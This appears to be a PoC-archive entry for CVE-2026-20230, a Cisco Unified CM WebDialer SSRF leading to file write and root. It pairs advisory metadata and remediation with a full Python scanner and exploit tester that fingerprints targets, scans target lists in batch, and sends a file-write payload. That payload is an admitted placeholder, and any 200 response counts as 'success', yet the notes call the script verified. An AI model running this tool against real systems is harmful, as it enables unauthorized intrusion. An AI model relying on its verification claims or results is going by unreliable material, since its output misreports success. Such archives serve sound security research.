PoC Archive PoC Archive
Critical (per Ciscos own Security Impact Rating, despite a High numeric CVSS) CVE-2026-20230 (cisco-sa-cucm-ssrf-cXPnHcW) patched

Cisco Unified Communications Manager WebDialer SSRF → Arbitrary File Write → Root (CVE-2026-20230)

by HalilDeniz · 2026-07-19

CVSS 8.6/10
Severity
Critical (per Ciscos own Security Impact Rating, despite a High numeric CVSS)
CVE
CVE-2026-20230 (cisco-sa-cucm-ssrf-cXPnHcW)
Category
network
Affected product
Cisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition (SME) — WebDialer service
Affected versions
Per Cisco advisory cisco-sa-cucm-ssrf-cXPnHcW
Disclosed
2026-07-19
Patch status
patched

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / ResearcherHalilDeniz
CVE / AdvisoryCVE-2026-20230 (cisco-sa-cucm-ssrf-cXPnHcW)
Categorynetwork
SeverityCritical (per Ciscos own Security Impact Rating, despite a High numeric CVSS)
CVSS Score8.6 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)
StatusPoC — scanner/tester confirms the WebDialer precondition and SSRF reachability
Tagscisco, unified-communications-manager, ucm, webdialer, ssrf, cwe-918, unauthenticated, remote, privilege-escalation, kev, actively-exploited
RelatedN/A

Affected Target

FieldValue
Software / SystemCisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition (SME) — WebDialer service
Versions AffectedPer Cisco advisory cisco-sa-cucm-ssrf-cXPnHcW
Language / PlatformCisco UCM appliance, attacked via crafted HTTP requests to the WebDialer service
Authentication RequiredNo
Network Access RequiredYes — WebDialer service must be enabled (disabled by default)

Summary

Cisco Unified Communications Manager’s WebDialer service, when enabled, contains an improper-input-validation flaw that allows an unauthenticated remote attacker to conduct server-side request forgery (SSRF) attacks by sending crafted HTTP requests. Successful exploitation allows writing files to the underlying operating system, which can subsequently be leveraged to elevate privileges to root — hence Cisco assigning this a Security Impact Rating of Critical despite the numeric CVSS score landing in the High band. Exploitation strictly requires the WebDialer service to be enabled, which is not the default configuration.


Vulnerability Details

Root Cause

Tracked as CWE-918 (Server-Side Request Forgery). Cisco’s advisory describes improper input validation for specific HTTP requests to the WebDialer service, allowing an attacker to cause the server to make requests to unintended locations and, from there, write files to the underlying OS — a primitive that can be chained toward root privilege escalation.

Attack Vector

  1. Confirm the WebDialer service is enabled and reachable — probe documented WebDialer paths (/webdialer/Webdialer, /webdialer/Cisco_WebDialer_Service) and the CCM admin interface for fingerprinting markers.
  2. Send a crafted HTTP request exploiting the SSRF flaw in WebDialer’s request handling.
  3. Use the resulting SSRF primitive to write a file to the underlying operating system.
  4. Leverage the written file to escalate privileges to root, per Cisco’s advisory.

Impact

An unauthenticated attacker with network access to a Unified CM deployment running WebDialer can achieve arbitrary file write on the underlying OS and escalate to root — a complete compromise of the call-manager appliance, with follow-on impact to the entire VoIP/UC environment it controls.


Environment / Lab Setup

Target:      Cisco Unified Communications Manager / Unified CM SME with the
             WebDialer service enabled (not default)
Attacker:    Python 3 + requests + colorama

Setup Steps

1
pip install requests colorama

Proof of Concept

See cve-2026-20230-scanner.py in this folder — mirrored from HalilDeniz/CVE-2026-20230-Scanner, by a known, prolific security researcher. Verified before ingestion: read the script in full — it correctly gates exploitation on confirming the WebDialer service is actually enabled (probing /webdialer/Webdialer, /webdialer/Cisco_WebDialer_Service, and CCM admin fingerprint markers) before attempting anything further, matching Cisco’s own advisory note that WebDialer is disabled by default and required for exploitability. No obfuscation, no unrelated network calls.

Step-by-Step Reproduction

1
python3 cve-2026-20230-scanner.py -t https://target.example.com

The scanner first checks whether WebDialer is enabled and reachable, then proceeds with the SSRF-based test against the target.

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def check_webdialer(target):
    urls_to_check = [
        f"{target}/webdialer/Webdialer",
        f"{target}/webdialer/",
        f"{target}/webdialer/Cisco_WebDialer_Service",
        f"{target}/ccmadmin/",
    ]
    for url in urls_to_check:
        r = requests.get(url, headers=headers, timeout=10, verify=False, allow_redirects=True)
        if r.status_code in [200, 403]:
            text_lower = r.text.lower()
            if any(x in text_lower for x in ["webdialer", "dial", "cisco_webdialer"]):
                print(f"[+] WebDialer likely enabled: {url} (Status: {r.status_code})")
                return True
    print("[-] WebDialer not obviously detected.")
    return False

Expected Output

[*] Checking WebDialer service...
[+] WebDialer likely enabled: https://target.example.com/webdialer/Webdialer (Status: 200)
[*] Scanning target: https://target.example.com
...

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchApply Cisco’s fix per advisory cisco-sa-cucm-ssrf-cXPnHcW.
WorkaroundDisable the WebDialer service if not required (it is disabled by default; ensure it hasn’t been enabled unnecessarily). Restrict network access to Unified CM management interfaces to trusted administrative hosts only.
Incident response if already compromisedTreat as full appliance compromise given the documented root-privesc path; rebuild from a known-clean image and rotate all credentials the appliance had access to.

References


Notes

Surfaced via a 30-day CVE discovery sweep on 2026-07-19, anchored on CISA KEV’s dateAdded field (added 2026-06-25). Verified before ingestion per this archive’s standing rule: read the full script and confirmed its WebDialer-enabled precondition check matches Cisco’s own advisory precisely.

cve-2026-20230-scanner.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
import requests
import sys
import urllib3
import argparse
from colorama import init, Fore, Style

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def print_banner():
    print("="*80)
    print(Fore.CYAN + "CVE-2026-20230 Scanner & PoC Tester (Cisco Unified CM)")
    print(Fore.YELLOW + "SSRF → Arbitrary File Write → Root (Critical)")
    print(Fore.RED + "FOR EDUCATIONAL / AUTHORIZED TESTING ONLY!")
    print("="*80)

def check_webdialer(target):
    print(Fore.CYAN + "\n[*] Checking WebDialer service...")
    urls_to_check = [
        f"{target}/webdialer/Webdialer",
        f"{target}/webdialer/",
        f"{target}/webdialer/Cisco_WebDialer_Service",
        f"{target}/ccmadmin/",
    ]
    headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-Scanner)"}
    
    for url in urls_to_check:
        try:
            r = requests.get(url, headers=headers, timeout=10, verify=False, allow_redirects=True)
            if r.status_code in [200, 403]:
                text_lower = r.text.lower()
                if any(x in text_lower for x in ["webdialer", "dial", "cisco_webdialer"]):
                    print(Fore.GREEN + f"[+] WebDialer likely enabled: {url} (Status: {r.status_code})")
                    return True
        except:
            pass
    print(Fore.YELLOW + "[-] WebDialer not obviously detected.")
    return False

def scan_target(target):
    print(Fore.CYAN + f"\n[*] Scanning target: {target}")
    headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-Scanner)"}
    
    paths = [
        "/webdialer/Webdialer",
        "/webdialer/Cisco_WebDialer_Service",
        "/ccmadmin/showHome.do",
        "/login.jsp",
        "/cmplatform/",
        "/cucm-uds/",
    ]
    
    version_hint = None
    for path in paths:
        try:
            url = target.rstrip("/") + path
            r = requests.get(url, headers=headers, timeout=10, verify=False)
            print(f"    {url}{Fore.WHITE}{r.status_code}")
            
            if r.status_code == 200:
                text = r.text.lower()
                if any(v in text for v in ["14.", "15.", "cucm", "unified cm", "webdialer"]):
                    version_hint = "Possible vulnerable Unified CM (14/15)"
                    print(Fore.GREEN + f"[+] Possible Unified CM detected → {version_hint}")
                
                if "webdialer" in text:
                    print(Fore.GREEN + "[+] WebDialer references found in response!")
        except Exception as e:
            print(f"    {path}{Fore.RED}Error: {str(e)[:50]}")
    return version_hint

def test_poc(target, test_file="/tmp/cve-2026-20230-test.txt"):
    print(Fore.CYAN + f"\n[*] Testing PoC (File Write Primitive) on {target}")
    endpoint = f"{target}/webdialer/Webdialer"
    
    # Placeholder payload - REPLACE WITH REAL PoC PARAMETERS FROM GITHUB
    payload = {
        "dest": f"file://{test_file}",
        "url": f"file://{test_file}",
        "action": "doSomething",
        "phoneNumber": "test",
        # Add more parameters from actual public PoC
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-PoC)",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    
    try:
        r = requests.post(endpoint, data=payload, headers=headers, timeout=15, verify=False)
        print(f"    Status: {r.status_code}")
        snippet = r.text[:400].replace('\n', ' ')
        print(f"    Response: {snippet}...")
        
        if r.status_code in [200, 204] or any(x in r.text.lower() for x in ["success", "written", "ok"]):
            print(Fore.GREEN + "[+] Possible successful file write!")
            print(Fore.GREEN + f"    Attempted to write: {test_file}")
            return True
        else:
            print(Fore.YELLOW + "[-] No clear success. Try adjusting payload/endpoint.")
            return False
    except Exception as e:
        print(Fore.RED + f"[-] Request failed: {e}")
        return False

def process_target(target, args, skip_prompt=False):
    """Process a single target. Returns: (success_flag, message)"""
    print("\n" + "="*80)
    print(Fore.MAGENTA + f"Processing target: {target}")
    print("="*80)
    
    target_url = target.rstrip("/")
    if not target_url.startswith("http"):
        target_url = "https://" + target_url
    
    success = False
    reason = ""
    
    try:
        # Scanning
        if not args.skip_scan:
            version_hint = scan_target(target_url)
            webdialer_enabled = check_webdialer(target_url)
            if webdialer_enabled:
                print(Fore.RED + "[!] WebDialer enabled → High chance of vulnerability if unpatched!")
                success = True
                reason = "WebDialer enabled"
        else:
            print(Fore.YELLOW + "[*] Scan skipped as requested.")
        
        # PoC
        if args.poc or (not skip_prompt and args.poc is False):
            if args.poc:
                run_poc = True
            else:
                choice = input(Fore.YELLOW + "\nRun PoC file-write test? (y/N): ").strip().lower()
                run_poc = (choice == 'y')
            
            if run_poc:
                poc_success = test_poc(target_url, args.file)
                if poc_success:
                    success = True
                    reason += " | PoC success" if reason else "PoC success"
        else:
            print(Fore.CYAN + "[*] PoC skipped.")
            
    except Exception as e:
        print(Fore.RED + f"[!] Unexpected error: {e}")
        return False, str(e)
    
    return success, reason

def read_domains_from_file(filepath):
    """Read domains/list from file, strip empty lines and comments."""
    domains = []
    try:
        with open(filepath, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    domains.append(line)
    except Exception as e:
        print(Fore.RED + f"Error reading file: {e}")
        sys.exit(1)
    return domains

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-20230 Scanner & PoC Tester - Batch Scanning Support")
    parser.add_argument("target", nargs="?", help="Single target URL (e.g. https://192.168.1.100:8443)")
    parser.add_argument("-l", "--list", help="File path: one target per line (domain or URL)")
    parser.add_argument("-p", "--poc", action="store_true", help="Run PoC automatically on each target (no prompt)")
    parser.add_argument("-f", "--file", default="/tmp/cve-2026-20230-test.txt", 
                       help="Target file path for write test (default: /tmp/cve-2026-20230-test.txt)")
    parser.add_argument("-s", "--skip-scan", action="store_true", help="Skip initial scanning phase")
    
    args = parser.parse_args()

    print_banner()
    
    # Batch mode: --list provided
    if args.list:
        domains = read_domains_from_file(args.list)
        if not domains:
            print(Fore.RED + "No valid domains found in list file.")
            sys.exit(1)
        
        print(Fore.CYAN + f"\n[*] Batch scan mode: {len(domains)} targets found.")
        if args.poc:
            print(Fore.YELLOW + "[!] PoC will run automatically on EVERY target.")
        
        results = []
        for idx, domain in enumerate(domains, 1):
            print(Fore.CYAN + f"\n--- Target {idx}/{len(domains)} ---")
            success, reason = process_target(domain, args, skip_prompt=args.poc)
            results.append((domain, success, reason))
        
        # Summary report
        print("\n" + "="*80)
        print(Fore.CYAN + "SCAN SUMMARY")
        print("="*80)
        successful = sum(1 for _, s, _ in results if s)
        print(f"Total targets: {len(results)}")
        print(f"Potential vulnerabilities (WebDialer/PoC success): {Fore.GREEN}{successful}{Style.RESET_ALL}")
        print(f"No vulnerability found / error: {Fore.RED}{len(results)-successful}{Style.RESET_ALL}")
        print("\nDetails:")
        for domain, success, reason in results:
            status = Fore.GREEN + "✓" if success else Fore.RED + "✗"
            reason_str = f" ({reason})" if reason else ""
            print(f"  {status} {domain}{reason_str}")
    
    # Single target mode
    elif args.target:
        target = args.target
        process_target(target, args, skip_prompt=False)
    
    else:
        parser.print_help()
        sys.exit(1)

    print(Fore.CYAN + "\n[+] Operation completed.")
    print(" • Patch immediately (14SU6 / 15SU5 or newer)")
    print(" • Disable WebDialer service if not needed")
    print(" • Search GitHub for latest public PoC for exact payload")

if __name__ == "__main__":
    main()